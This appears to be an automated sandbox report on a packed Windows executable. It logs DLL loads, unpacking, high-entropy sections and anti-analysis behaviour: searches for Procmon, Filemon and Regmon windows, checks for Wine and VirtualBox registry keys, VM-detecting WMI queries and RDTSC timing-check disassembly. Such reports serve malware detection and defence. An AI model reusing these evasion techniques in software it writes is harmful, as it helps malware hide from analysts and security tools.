Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: ZvHSpovhDw.exe

Static file information: File size 2921472 > 1048576

Source: ZvHSpovhDw.exe

Static PE information: Raw size of ktpsvxhv is bigger than: 0x100000 < 0x29f800

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Unpacked PE file: 0.2.ZvHSpovhDw.exe.b0000.0.unpack :EW;.rsrc :W;.idata :W;ktpsvxhv:EW;patpnhcv:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W;ktpsvxhv:EW;patpnhcv:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: ZvHSpovhDw.exe

Static PE information: real checksum: 0x2ca56a should be: 0x2d2199

Source: ZvHSpovhDw.exe	Static PE information: section name:
Source: ZvHSpovhDw.exe	Static PE information: section name: .rsrc
Source: ZvHSpovhDw.exe	Static PE information: section name: .idata
Source: ZvHSpovhDw.exe	Static PE information: section name: ktpsvxhv
Source: ZvHSpovhDw.exe	Static PE information: section name: patpnhcv
Source: ZvHSpovhDw.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_00B1FF0A pushad ; ret	0_3_00B1FF0D
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_053044FA push edx; retf	0_3_05304511
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_0530434A pushfd ; retf	0_3_05304361
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_00B1FF0A pushad ; ret	0_3_00B1FF0D
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_00B1FF0A pushad ; ret	0_3_00B1FF0D
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304528 push ebp; retf	0_3_05304529
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Code function: 0_3_05304410 pushad ; retf	0_3_05304481

Source: ZvHSpovhDw.exe

Static PE information: section name: entropy: 7.978038833433887

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27DF3D second address: 27DF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5DA4DA2F5Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27DF51 second address: 27DF59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D26E second address: 27D27C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 js 00007F5DA4DA2F56h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D27C second address: 27D282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D282 second address: 27D286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D694 second address: 27D6A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F5DA4981DB2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D6A1 second address: 27D6A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D6A7 second address: 27D6B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F5DA4981DA6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D6B4 second address: 27D6BA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27D6BA second address: 27D6DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F5DA4981DB9h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 281078 second address: 281115 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp], eax 0x0000000e movzx ecx, dx 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F5DA4DA2F58h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 00000017h 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d push C80B719Ah 0x00000032 jnl 00007F5DA4DA2F62h 0x00000038 add dword ptr [esp], 37F48EE6h 0x0000003f sub dword ptr [ebp+122D2146h], edx 0x00000045 push 00000003h 0x00000047 cmc 0x00000048 push 00000000h 0x0000004a jmp 00007F5DA4DA2F69h 0x0000004f push 00000003h 0x00000051 push 00000000h 0x00000053 push ebp 0x00000054 call 00007F5DA4DA2F58h 0x00000059 pop ebp 0x0000005a mov dword ptr [esp+04h], ebp 0x0000005e add dword ptr [esp+04h], 00000015h 0x00000066 inc ebp 0x00000067 push ebp 0x00000068 ret 0x00000069 pop ebp 0x0000006a ret 0x0000006b push F028FC26h 0x00000070 push eax 0x00000071 push edx 0x00000072 pushad 0x00000073 push eax 0x00000074 push edx 0x00000075 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 281115 second address: 281120 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F5DA4981DA6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 281248 second address: 2812B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5DA4DA2F60h 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F5DA4DA2F65h 0x00000018 mov eax, dword ptr [eax] 0x0000001a pushad 0x0000001b jbe 00007F5DA4DA2F58h 0x00000021 pushad 0x00000022 popad 0x00000023 push ecx 0x00000024 push ecx 0x00000025 pop ecx 0x00000026 pop ecx 0x00000027 popad 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c push eax 0x0000002d push edx 0x0000002e jbe 00007F5DA4DA2F6Ah 0x00000034 jmp 00007F5DA4DA2F64h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2814BF second address: 2814D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F5DA4981DA6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2814D1 second address: 2814D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2814D5 second address: 2814DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2814DB second address: 28153F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push edx 0x0000000d pushad 0x0000000e jmp 00007F5DA4DA2F5Eh 0x00000013 push edi 0x00000014 pop edi 0x00000015 popad 0x00000016 pop edx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jmp 00007F5DA4DA2F63h 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push ecx 0x00000023 jmp 00007F5DA4DA2F5Bh 0x00000028 pop ecx 0x00000029 pop eax 0x0000002a add esi, dword ptr [ebp+122D3B30h] 0x00000030 lea ebx, dword ptr [ebp+1244BF56h] 0x00000036 add ecx, 543FBFF0h 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push edx 0x00000040 ja 00007F5DA4DA2F56h 0x00000046 pop edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 28153F second address: 281569 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F5DA4981DB6h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA4981DAAh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A1194 second address: 2A119C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29F166 second address: 29F177 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F5DA4981DACh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29F177 second address: 29F182 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F5DA4DA2F56h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29F182 second address: 29F18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29F18D second address: 29F193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29F8CD second address: 29F8D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29FB45 second address: 29FB76 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F66h 0x00000007 pushad 0x00000008 jmp 00007F5DA4DA2F66h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29FB76 second address: 29FB86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 jns 00007F5DA4981DACh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 29FCCF second address: 29FCD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2942CD second address: 2942D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2942D1 second address: 2942E0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5DA4DA2F56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 275317 second address: 27531B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 27531B second address: 275362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5DA4DA2F5Bh 0x0000000e push eax 0x0000000f jne 00007F5DA4DA2F56h 0x00000015 pop eax 0x00000016 jmp 00007F5DA4DA2F67h 0x0000001b popad 0x0000001c jl 00007F5DA4DA2F6Fh 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0227 second address: 2A022F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A022F second address: 2A023E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007F5DA4DA2F5Eh 0x0000000b push eax 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A023E second address: 2A0242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0242 second address: 2A0259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F5DA4DA2F56h 0x0000000a jmp 00007F5DA4DA2F5Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0A50 second address: 2A0A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0A56 second address: 2A0A79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F69h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0A79 second address: 2A0A87 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jng 00007F5DA4981DA6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A0A87 second address: 2A0A91 instructions: 0x00000000 rdtsc 0x00000002 je 00007F5DA4DA2F56h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A1003 second address: 2A1020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F5DA4981DB5h 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A3277 second address: 2A327D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A327D second address: 2A3281 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A7CF1 second address: 2A7D14 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F5DA4DA2F58h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5DA4DA2F64h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A7D14 second address: 2A7D1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A95D3 second address: 2A95EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5DA4DA2F61h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2A95EE second address: 2A95F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AE188 second address: 2AE194 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F5DA4DA2F56h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\ZvHSpovhDw.exe	RDTSC instruction interceptor: First address: 2AE194 second address: 2AE19B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
